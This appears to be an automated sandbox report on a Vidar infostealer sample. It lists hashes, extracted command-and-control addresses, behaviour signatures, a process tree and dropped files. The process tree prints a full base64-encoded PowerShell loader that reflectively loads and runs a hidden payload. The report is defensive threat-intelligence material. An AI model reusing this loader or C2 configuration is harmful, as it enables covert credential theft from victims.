vidar | 55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77

General

Target

bd2.exe
Size

271KB
MD5

8b8db4eaa6f5368eb5f64359c6197b43
SHA1

e9b51842e2d2f39fa06e466ae73af341ddffe1c8
SHA256

55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77
SHA512

4da734da30af148f246f433b71c72677b9f78698424db15eba364233dff183cb998f9be13d2832872829ac545be1e15ff75ceb85fca3fd0784265fd576db0056
SSDEEP

6144:xfL+oq+hnjsVl3dRQTLU+2bRRR17+fYHPfIMDPSBJ7Y/B4aSi3V:xfL5njsVlNuc++Rj17+fYHPfIg4Y54ap

Score

10^/10

vidar 72f54d93118188013f2386eef7e5cc05 stealer

Malware Config

Extracted

Family

vidar

Version

8.6

Botnet

72f54d93118188013f2386eef7e5cc05

C2

https://steamcommunity.com/profiles/76561199658817715

https://t.me/sa9ok

Attributes

profile_id_v2
72f54d93118188013f2386eef7e5cc05
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36

Signatures

Detect Vidar Stealer 3 IoCs

stealer

Processes:

resource	yara_rule
behavioral4/memory/3244-54-0x0000000000400000-0x0000000000644000-memory.dmp	family_vidar_v7
behavioral4/memory/3244-57-0x0000000000400000-0x0000000000644000-memory.dmp	family_vidar_v7
behavioral4/memory/3244-59-0x0000000000400000-0x0000000000644000-memory.dmp	family_vidar_v7

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4896 set thread context of 3244 4896 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

412 3244 WerFault.exe RegAsm.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

5084 powershell.exe
5084 powershell.exe
4896 powershell.exe
4896 powershell.exe
4896 powershell.exe
4896 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 5084 powershell.exe
Token: SeDebugPrivilege 4896 powershell.exe

description	pid	process	target process
PID 4896 set thread context of 3244	4896	powershell.exe	RegAsm.exe

pid	pid_target	process	target process
412	3244	WerFault.exe	RegAsm.exe

pid	process
5084	powershell.exe
5084	powershell.exe
4896	powershell.exe
4896	powershell.exe
4896	powershell.exe
4896	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeDebugPrivilege	4896	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

bd2.exewscript.execmd.exepowershell.exe

description	pid	process	target process
PID 2440 wrote to memory of 1576	2440	bd2.exe	wscript.exe
PID 2440 wrote to memory of 1576	2440	bd2.exe	wscript.exe
PID 2440 wrote to memory of 1576	2440	bd2.exe	wscript.exe
PID 1576 wrote to memory of 1636	1576	wscript.exe	cmd.exe
PID 1576 wrote to memory of 1636	1576	wscript.exe	cmd.exe
PID 1576 wrote to memory of 1636	1576	wscript.exe	cmd.exe
PID 1636 wrote to memory of 5084	1636	cmd.exe	powershell.exe
PID 1636 wrote to memory of 5084	1636	cmd.exe	powershell.exe
PID 1636 wrote to memory of 5084	1636	cmd.exe	powershell.exe
PID 1636 wrote to memory of 4896	1636	cmd.exe	powershell.exe
PID 1636 wrote to memory of 4896	1636	cmd.exe	powershell.exe
PID 1636 wrote to memory of 4896	1636	cmd.exe	powershell.exe
PID 4896 wrote to memory of 4672	4896	powershell.exe	RegAsm.exe
PID 4896 wrote to memory of 4672	4896	powershell.exe	RegAsm.exe
PID 4896 wrote to memory of 4672	4896	powershell.exe	RegAsm.exe
PID 4896 wrote to memory of 3244	4896	powershell.exe	RegAsm.exe
PID 4896 wrote to memory of 3244	4896	powershell.exe	RegAsm.exe
PID 4896 wrote to memory of 3244	4896	powershell.exe	RegAsm.exe
PID 4896 wrote to memory of 3244	4896	powershell.exe	RegAsm.exe
PID 4896 wrote to memory of 3244	4896	powershell.exe	RegAsm.exe
PID 4896 wrote to memory of 3244	4896	powershell.exe	RegAsm.exe
PID 4896 wrote to memory of 3244	4896	powershell.exe	RegAsm.exe
PID 4896 wrote to memory of 3244	4896	powershell.exe	RegAsm.exe
PID 4896 wrote to memory of 3244	4896	powershell.exe	RegAsm.exe
PID 4896 wrote to memory of 3244	4896	powershell.exe	RegAsm.exe

C:\Users\Admin\AppData\Local\Temp\bd2.exe
"C:\Users\Admin\AppData\Local\Temp\bd2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" "C:\Users\Admin\start.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1636
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5084
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4896
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:4672
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:3244
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3244 -s 2096
        6⤵
        Program crash
        
        PID:412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3244 -ip 3244
1⤵
PID:3608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\-temp.ps1

Filesize
1KB

MD5
ee6d2d219d1affb98fb9dc1de51d895e

SHA1
aaa2ceb5f7214c76b8a050a06d257cdc30d6bb48

SHA256
017fb2bedc94f0480d208611df6b42589d407fc4338e1f5dc1e00a9fd52752e0

SHA512
52139b56af32835b93fb8eb93b553325e36654debe5c15e6b61930ffe8027e0ee5eb0998da4c37ec047c052522a022d7103c33d7495eb1a3504cfee1780229bf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
c0636f2d138baca01dbb2eedb99bf3d5

SHA1
3b927899db0f3e2cb510782592887dc02fc3e400

SHA256
10973e727e5b0eb3f12aba60a682d66e79dfd86e4b6cfc454fd8df70c6e1fa8a

SHA512
0187a6ccb6428fb24ad4bc4ca14e7ce6f40ae6ca4f352f8e86a15288deb05cb4dd317ef8e9d04dc9ffb24407ecf0924af2c7910830c79366f7e4e48cb4b82b1d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
45a677fe68d0b94b514d702a597dee41

SHA1
2e33d6a797939132982da980b1739432cf8d59ac

SHA256
9570666949371890fbb11239f4cb913c96823a4905f68558525193cff7bae82d

SHA512
2c89fd7adc2f796f29a7e8563f030c04b9b50ab07f3b9fe7127df951c2992e3ef85e734ad954fc17474fedb7a4cf942baf52b18399eba68d4b10c25d66dd688c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pg2ijzjl.0zm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\start.vbs

Filesize
231B

MD5
abe1dd23ab4c11aae54f1898c780c0b5

SHA1
bb2f974b3e0af2baa40920b475582bfd4fb28001

SHA256
89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12

SHA512
e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d

Download Submit
C:\Users\Admin\temp.bat

Filesize
204KB

MD5
72b17467a49b7813856fa604d1d291c8

SHA1
3116d07854d56f0bc505be8b80804a7319208739

SHA256
e24aaddfa2ece0891ad7b3c51779c65bbf95e4fded59fc46fe4fef311e1de3e1

SHA512
38c99cc716097ee7cb642203432ffbd1ef6ce8a0c9b21aa2827962b82456ecb3113fa1edd362aab013737e3bdfb2d0803145fc0caf612054ba47f6454c3a4843

Download Submit
memory/3244-57-0x0000000000400000-0x0000000000644000-memory.dmp

Filesize
2.3MB

Download
memory/3244-54-0x0000000000400000-0x0000000000644000-memory.dmp

Filesize
2.3MB

Download
memory/3244-59-0x0000000000400000-0x0000000000644000-memory.dmp

Filesize
2.3MB

Download
memory/4896-48-0x0000000006D10000-0x0000000006D32000-memory.dmp

Filesize
136KB

Download
memory/4896-33-0x0000000074DE0000-0x0000000075591000-memory.dmp

Filesize
7.7MB

Download
memory/4896-49-0x0000000007480000-0x0000000007A26000-memory.dmp

Filesize
5.6MB

Download
memory/4896-51-0x0000000006F10000-0x0000000006F68000-memory.dmp

Filesize
352KB

Download
memory/4896-47-0x0000000006D90000-0x0000000006E26000-memory.dmp

Filesize
600KB

Download
memory/4896-46-0x00000000048E0000-0x00000000048F0000-memory.dmp

Filesize
64KB

Download
memory/4896-52-0x00000000022C0000-0x00000000022CA000-memory.dmp

Filesize
40KB

Download
memory/4896-63-0x0000000074DE0000-0x0000000075591000-memory.dmp

Filesize
7.7MB

Download
memory/4896-35-0x00000000048E0000-0x00000000048F0000-memory.dmp

Filesize
64KB

Download
memory/4896-53-0x0000000077991000-0x0000000077AB3000-memory.dmp

Filesize
1.1MB

Download
memory/4896-34-0x00000000048E0000-0x00000000048F0000-memory.dmp

Filesize
64KB

Download
memory/5084-12-0x0000000006290000-0x00000000062F6000-memory.dmp

Filesize
408KB

Download
memory/5084-31-0x0000000074DE0000-0x0000000075591000-memory.dmp

Filesize
7.7MB

Download
memory/5084-27-0x0000000006D90000-0x0000000006DAA000-memory.dmp

Filesize
104KB

Download
memory/5084-26-0x00000000081A0000-0x000000000881A000-memory.dmp

Filesize
6.5MB

Download
memory/5084-25-0x00000000054B0000-0x00000000054C0000-memory.dmp

Filesize
64KB

Download
memory/5084-24-0x00000000068A0000-0x00000000068EC000-memory.dmp

Filesize
304KB

Download
memory/5084-23-0x0000000006850000-0x000000000686E000-memory.dmp

Filesize
120KB

Download
memory/5084-22-0x0000000006370000-0x00000000066C7000-memory.dmp

Filesize
3.3MB

Download
memory/5084-13-0x0000000006300000-0x0000000006366000-memory.dmp

Filesize
408KB

Download
memory/5084-11-0x0000000005AB0000-0x0000000005AD2000-memory.dmp

Filesize
136KB

Download
memory/5084-10-0x0000000005B30000-0x000000000615A000-memory.dmp

Filesize
6.2MB

Download
memory/5084-9-0x00000000054B0000-0x00000000054C0000-memory.dmp

Filesize
64KB

Download
memory/5084-8-0x00000000054B0000-0x00000000054C0000-memory.dmp

Filesize
64KB

Download
memory/5084-7-0x0000000074DE0000-0x0000000075591000-memory.dmp

Filesize
7.7MB

Download
memory/5084-6-0x00000000054C0000-0x00000000054F6000-memory.dmp

Filesize
216KB

Download

Analysis

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